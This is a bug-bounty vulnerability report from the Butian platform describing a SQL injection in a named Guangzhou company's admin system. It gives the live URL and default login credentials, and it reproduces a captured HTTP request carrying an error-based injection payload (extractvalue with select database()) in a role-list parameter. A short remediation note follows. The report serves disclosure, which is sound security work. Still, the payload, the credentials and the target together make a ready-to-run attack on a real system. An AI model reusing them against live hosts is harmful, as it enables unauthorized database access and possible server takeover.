



广州机械科学研究所有限公司接口管理系统存在sql注入

2023-02-14 16:42:08

关联厂商:	广州机械科学研究所有限公司
奖励额度:	4 库币
漏洞编号:	QTVA-2023-3408050
漏洞类型:	SQL注入
官方评级:	中危
是否符合活动:	是

温馨提示

- 1、已通过的漏洞，定价后将无法查看漏洞详情。
- 2、未通过审核的，七天后将无法查看漏洞详情。

漏洞描述

击者可以利用该漏洞执行任意SQL语句，如查询数据、下载数据、写入webshell、执行系统命令以及绕过登录限制等。

漏洞详情

url:https://consult.gti-oil.com/login



归属:



复现: admin/admin123

漏洞处理状态

- 提交漏洞
2023-02-14 16:42:08
- 被定为事件型漏洞
2023-02-15 14:08:15
- 奖金确认中



小程序后台

admin 在线 注销

个人资料

基本资料

基本资料 修改密码

用户名称: admin

手机号码: 15888888888

邮箱: ry@163.com

性别: 男 女

保存 关闭

补天平台
https://www.butian.net/
咨询邮箱: butian_report@qianxin.com

sql注入

小程序后台

admin 在线 注销

角色管理

角色名称: 权限字符: 角色状态: 所有 创建时间: 开始时间: 结束时间: 搜索 重置

角色编号	角色名称	权限字符	显示顺序	角色状态	创建时间	操作
1	超级管理员	admin	1	<input checked="" type="checkbox"/>	2021-04-19 13:57:04	编辑 删除 更多
2						

显示第 1 到 2 条

Burp Suite Professional v2021.5.2 - Temporary Project - licensed to adminhx By LianZhang.org

拦截 (Intercept) HTTP历史记录(HTTP history) WebSocket历史记录(WebSockets history) 选项(Options)

放行(Forward) 拦截开启(on) 操作(Action) 打开浏览器(Browse)

```

1 POST /system/role/list HTTP/1.1
2 Host: consult.gti-oil.com
3 Cookie: JSESSIONID=2044e8b-ac2c-4bac-ad1e-d6e9af6455ba
4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:109.0) Gecko/20100101 Firefox/109.0
5 Accept: application/json, text/javascript, */*; q=0.01
6 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.5,en;q=0.2
7 Accept-Encoding: gzip, deflate
8 Content-Type: application/x-www-form-urlencoded
9 X-Requested-With: XMLHttpRequest
10 Content-Length: 125
11 Origin: https://consult.gti-oil.com
12 Referer: https://consult.gti-oil.com/system/role
13 Sec-Fetch-Dest: empty
14 Sec-Fetch-Mode: cors
15 Sec-Fetch-Site: same-origin
16 Te: trailers
17 Connection: close
18
19 pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=&params[beginTime]=&params[endTime]=&params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

```

补天平台
https://www.butian.net/
咨询邮箱: butian_report@qianxin.com

pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=¶ms[beginTime]=¶ms[endTime]=¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

修复方案

对进入数据库的特殊字符 ("&";等) 进行转义处理, 或编码转换。

厂商回复

留言板



还可以输入 120 字

给补天留言

企业服务

- 专属SRC
- 补天众测
- 安全情报
- 招聘专场

白帽服务

- 项目大厅
- 补天商城
- 招聘专场

注册热线

企业咨询: 010-56509036
 白帽咨询: 010-56509093
 咨询邮箱: butian_help@qianxin.com
 (工作时间: 周一至周五, 10:00~19:00)
 官方4群: 1016907399
 官方3群: 774737398 (已满)
 官方2群: 320235411 (已满)
 官方1群: 322640164 (已满)

商务合作

咨询邮箱: qianxin-advertiser@qianxin.com
 咨询热线: 010-56509041

关注我们

- 白帽大会
- 官方微博
- 官方微信



友情链接: [NOX安全监测](#) | [奇安信技术研究院](#) | [奇安信威胁情报中心](#) | [安全内参](#)